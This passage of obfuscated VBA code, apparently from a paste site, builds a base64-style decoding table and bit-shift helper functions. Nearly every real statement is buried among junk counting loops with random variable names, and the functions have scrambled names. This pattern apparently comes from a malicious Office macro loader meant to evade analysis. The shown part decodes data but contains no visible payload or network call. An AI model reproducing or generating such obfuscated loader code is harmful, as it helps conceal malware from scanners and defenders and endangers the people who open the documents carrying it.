- Dim ggHPcEYDct As Integer
- ggHPcEYDct = 1527
- Do While ggHPcEYDct < 1527 + 10
- ggHPcEYDct = ggHPcEYDct + 1: DoEvents
- Loop
- Dim TsVAk As Integer
- TsVAk = 874
- Do While TsVAk < 874 + 10
- TsVAk = TsVAk + 1: DoEvents
- Loop
- For C = Asc(uoqGqBG) To Asc(lVvyl)
- Dim NlrydqpFJL As Integer
- NlrydqpFJL = 2440
- Do While NlrydqpFJL < 2440 + 10
- NlrydqpFJL = NlrydqpFJL + 1: DoEvents
- Loop
- Dim anxggT As Integer
- anxggT = 1078
- Do While anxggT < 1078 + 10
- anxggT = anxggT + 1: DoEvents
- Loop
- aDecTab(C) = t
- Dim YFHdEJY As Integer
- YFHdEJY = 1757
- Do While YFHdEJY < 1757 + 10
- YFHdEJY = YFHdEJY + 1: DoEvents
- Loop
- Dim iazcG As Integer
- iazcG = 2072
- Do While iazcG < 2072 + 10
- iazcG = iazcG + 1: DoEvents
- Loop
- t = t + 1
- Dim tTdpRlQo As Integer
- tTdpRlQo = 1230
- Do While tTdpRlQo < 1230 + 10
- tTdpRlQo = tTdpRlQo + 1: DoEvents
- Loop
- Dim LRNZcrM As Integer
- LRNZcrM = 1801
- Do While LRNZcrM < 1801 + 10
- LRNZcrM = LRNZcrM + 1: DoEvents
- Loop
- Next
- Dim QnQink As Integer
- QnQink = 1972
- Do While QnQink < 1972 + 10
- QnQink = QnQink + 1: DoEvents
- Loop
- Dim sjxHqqdPq As Integer
- sjxHqqdPq = 927
- Do While sjxHqqdPq < 927 + 10
- sjxHqqdPq = sjxHqqdPq + 1: DoEvents
- Loop
- For C = Asc(vJ5d) To Asc(o4YsRAnX)
- Dim bxELqDCSVZQp As Integer
- bxELqDCSVZQp = 1702
- Do While bxELqDCSVZQp < 1702 + 10
- bxELqDCSVZQp = bxELqDCSVZQp + 1: DoEvents
- Loop
- Dim ImQAwl As Integer
- ImQAwl = 2302
- Do While ImQAwl < 2302 + 10
- ImQAwl = ImQAwl + 1: DoEvents
- Loop
- aDecTab(C) = t
- Dim zGkxwMQ As Integer
- zGkxwMQ = 617
- Do While zGkxwMQ < 617 + 10
- zGkxwMQ = zGkxwMQ + 1: DoEvents
- Loop
- Dim qFmsLTJpklj As Integer
- qFmsLTJpklj = 425
- Do While qFmsLTJpklj < 425 + 10
- qFmsLTJpklj = qFmsLTJpklj + 1: DoEvents
- Loop
- t = t + 1
- Dim zROlHgYTg As Integer
- zROlHgYTg = 1038
- Do While zROlHgYTg < 1038 + 10
- zROlHgYTg = zROlHgYTg + 1: DoEvents
- Loop
- Dim pxJmFlIbnbZ As Integer
- pxJmFlIbnbZ = 153
- Do While pxJmFlIbnbZ < 153 + 10
- pxJmFlIbnbZ = pxJmFlIbnbZ + 1: DoEvents
- Loop
- Next
- Dim nCGJBap As Integer
- nCGJBap = 1621
- Do While nCGJBap < 1621 + 10
- nCGJBap = nCGJBap + 1: DoEvents
- Loop
- Dim xyfmEMCidech As Integer
- xyfmEMCidech = 2014
- Do While xyfmEMCidech < 2014 + 10
- xyfmEMCidech = xyfmEMCidech + 1: DoEvents
- Loop
- For C = Asc(MPt) To Asc(rH2A)
- Dim ismPgySmgVBK As Integer
- ismPgySmgVBK = 2238
- Do While ismPgySmgVBK < 2238 + 10
- ismPgySmgVBK = ismPgySmgVBK + 1: DoEvents
- Loop
- Dim bxhsyuF As Integer
- bxhsyuF = 984
- Do While bxhsyuF < 984 + 10
- bxhsyuF = bxhsyuF + 1: DoEvents
- Loop
- aDecTab(C) = t
- Dim HRAAnaBY As Integer
- HRAAnaBY = 605
- Do While HRAAnaBY < 605 + 10
- HRAAnaBY = HRAAnaBY + 1: DoEvents
- Loop
- Dim APHsa As Integer
- APHsa = 554
- Do While APHsa < 554 + 10
- APHsa = APHsa + 1: DoEvents
- Loop
- t = t + 1
- Dim IckaFAAzE As Integer
- IckaFAAzE = 396
- Do While IckaFAAzE < 396 + 10
- IckaFAAzE = IckaFAAzE + 1: DoEvents
- Loop
- Dim qsZtyGvcklj As Integer
- qsZtyGvcklj = 316
- Do While qsZtyGvcklj < 316 + 10
- qsZtyGvcklj = qsZtyGvcklj + 1: DoEvents
- Loop
- Next
- Dim dIDECHs As Integer
- dIDECHs = 505
- Do While dIDECHs < 505 + 10
- dIDECHs = dIDECHs + 1: DoEvents
- Loop
- Dim cwBJzfoo As Integer
- cwBJzfoo = 931
- Do While cwBJzfoo < 931 + 10
- cwBJzfoo = cwBJzfoo + 1: DoEvents
- Loop
- C = Asc(mE4AWCC3O)
- Dim UgxyTUeCjMcI As Integer
- UgxyTUeCjMcI = 1721
- Do While UgxyTUeCjMcI < 1721 + 10
- UgxyTUeCjMcI = UgxyTUeCjMcI + 1: DoEvents
- Loop
- Dim qQcVolIeCur As Integer
- qQcVolIeCur = 1131
- Do While qQcVolIeCur < 1131 + 10
- qQcVolIeCur = qQcVolIeCur + 1: DoEvents
- Loop
- aDecTab(C) = t
- Dim AMBysK As Integer
- AMBysK = 701
- Do While AMBysK < 701 + 10
- AMBysK = AMBysK + 1: DoEvents
- Loop
- Dim tVboyThUGiEC As Integer
- tVboyThUGiEC = 132
- Do While tVboyThUGiEC < 132 + 10
- tVboyThUGiEC = tVboyThUGiEC + 1: DoEvents
- Loop
- t = t + 1
- Dim DDqrRbnPjNmE As Integer
- DDqrRbnPjNmE = 2141
- Do While DDqrRbnPjNmE < 2141 + 10
- DDqrRbnPjNmE = DDqrRbnPjNmE + 1: DoEvents
- Loop
- Dim ZerBQkYJ As Integer
- ZerBQkYJ = 1728
- Do While ZerBQkYJ < 1728 + 10
- ZerBQkYJ = ZerBQkYJ + 1: DoEvents
- Loop
- C = Asc(uwbNZtnc)
- Dim GGuuUeqSmRpH As Integer
- GGuuUeqSmRpH = 1205
- Do While GGuuUeqSmRpH < 1205 + 10
- GGuuUeqSmRpH = GGuuUeqSmRpH + 1: DoEvents
- Loop
- Dim epjByUrPH As Integer
- epjByUrPH = 172
- Do While epjByUrPH < 172 + 10
- epjByUrPH = epjByUrPH + 1: DoEvents
- Loop
- aDecTab(C) = t
- Dim sKQKICURoYjo As Integer
- sKQKICURoYjo = 680
- Do While sKQKICURoYjo < 680 + 10
- sKQKICURoYjo = sKQKICURoYjo + 1: DoEvents
- Loop
- Dim QPsardhG As Integer
- QPsardhG = 1199
- Do While QPsardhG < 1199 + 10
- QPsardhG = QPsardhG + 1: DoEvents
- Loop
- t = t + 1
- Dim AckwZsYwN As Integer
- AckwZsYwN = 1833
- Do While AckwZsYwN < 1833 + 10
- AckwZsYwN = AckwZsYwN + 1: DoEvents
- Loop
- Dim cjNaaq As Integer
- cjNaaq = 2224
- Do While cjNaaq < 2224 + 10
- cjNaaq = cjNaaq + 1: DoEvents
- Loop
- C = Asc(TcKhQpncb)
- Dim mRMNLQBI As Integer
- mRMNLQBI = 644
- Do While mRMNLQBI < 644 + 10
- mRMNLQBI = mRMNLQBI + 1: DoEvents
- Loop
- Dim IoxxwBmfmQed As Integer
- IoxxwBmfmQed = 465
- Do While IoxxwBmfmQed < 465 + 10
- IoxxwBmfmQed = IoxxwBmfmQed + 1: DoEvents
- Loop
- aDecTab(C) = t ' should be 64
- Dim npVcvDtZTU As Integer
- npVcvDtZTU = 1700
- Do While npVcvDtZTU < 1700 + 10
- npVcvDtZTU = npVcvDtZTU + 1: DoEvents
- Loop
- Dim rABzEpjqTh As Integer
- rABzEpjqTh = 1921
- Do While rABzEpjqTh < 1921 + 10
- rABzEpjqTh = rABzEpjqTh + 1: DoEvents
- Loop
- End Function
- Private Function RTgCMP8ArHN(ByVal bytValue As Byte) As Byte
- RTgCMP8ArHN = (bytValue * &H4) And &HFF
- Dim TisbaNpxJmFlJbnb As Integer
- TisbaNpxJmFlJbnb = 796
- Do While TisbaNpxJmFlJbnb < 796 + 10
- TisbaNpxJmFlJbnb = TisbaNpxJmFlJbnb + 1: DoEvents
- Loop
- Dim bnnDGJBa As Integer
- bnnDGJBa = 2392
- Do While bnnDGJBa < 2392 + 10
- bnnDGJBa = bnnDGJBa + 1: DoEvents
- Loop
- End Function
- Private Function sWGD(ByVal bytValue As Byte) As Byte
- sWGD = (bytValue * &H10) And &HFF
- Dim TxzgmFNCieec As Integer
- TxzgmFNCieec = 2341
- Do While TxzgmFNCieec < 2341 + 10
- TxzgmFNCieec = TxzgmFNCieec + 1: DoEvents
- Loop
- Dim BVpjZE As Integer
- BVpjZE = 2163
- Do While BVpjZE < 2163 + 10
- BVpjZE = BVpjZE + 1: DoEvents
- Loop
- End Function
- Private Function S2OPk(ByVal bytValue As Byte) As Byte
- S2OPk = (bytValue * &H40) And &HFF
- Dim mtvEcQACjpIQ As Integer
- mtvEcQACjpIQ = 2197
- Do While mtvEcQACjpIQ < 2197 + 10
- mtvEcQACjpIQ = mtvEcQACjpIQ + 1: DoEvents
- Loop
- Dim ifqtI As Integer
- ifqtI = 659
- Do While ifqtI < 659 + 10
- ifqtI = ifqtI + 1: DoEvents
- Loop
- End Function
- Private Function LBCH1U(ByVal bytValue As Byte) As Byte
- LBCH1U = bytValue \ &H4
- Dim pxJmFlIbAbm As Integer
- pxJmFlIbAbm = 1212
- Do While pxJmFlIbAbm < 1212 + 10
- pxJmFlIbAbm = pxJmFlIbAbm + 1: DoEvents
- Loop
- Dim KyTJAOZHHuh As Integer
- KyTJAOZHHuh = 197
- Do While KyTJAOZHHuh < 197 + 10
- KyTJAOZHHuh = KyTJAOZHHuh + 1: DoEvents
- Loop
- End Function
- Private Function fmTcJ(ByVal bytValue As Byte) As Byte
- fmTcJ = bytValue \ &H10
- Dim gkyverQQs As Integer
- gkyverQQs = 1762
- Do While gkyverQQs < 1762 + 10
- gkyverQQs = gkyverQQs + 1: DoEvents
- Loop
- Dim CiRNC As Integer
- CiRNC = 1065
- Do While CiRNC < 1065 + 10
- CiRNC = CiRNC + 1: DoEvents
- Loop
- End Function
- Private Function jWw(ByVal bytValue As Byte) As Byte
- jWw = bytValue \ &H40
- Dim kmGjoByhu As Integer
- kmGjoByhu = 890
- Do While kmGjoByhu < 890 + 10
- kmGjoByhu = kmGjoByhu + 1: DoEvents
- Loop
- Dim JMPHgJoY As Integer
- JMPHgJoY = 584
- Do While JMPHgJoY < 584 + 10
- JMPHgJoY = JMPHgJoY + 1: DoEvents
- Loop
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement